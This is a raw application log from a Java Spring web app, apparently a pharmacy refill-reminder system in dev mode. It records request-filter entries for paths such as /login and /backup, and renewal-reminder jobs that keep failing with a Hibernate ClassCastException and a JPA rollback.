Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 08:37:44 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/bk 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 08:37:44 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/backup 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 08:37:44 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:45 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/old 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:45 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 08:37:45 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:45 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/new 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:45 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 08:37:45 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:45 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/main 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:45 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 08:37:45 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:45 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:45 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/home 2024-02-26 08:37:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:46 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:46 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:46 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:46 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:46 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 08:37:46 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 08:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 08:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 08:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 08:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 08:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) 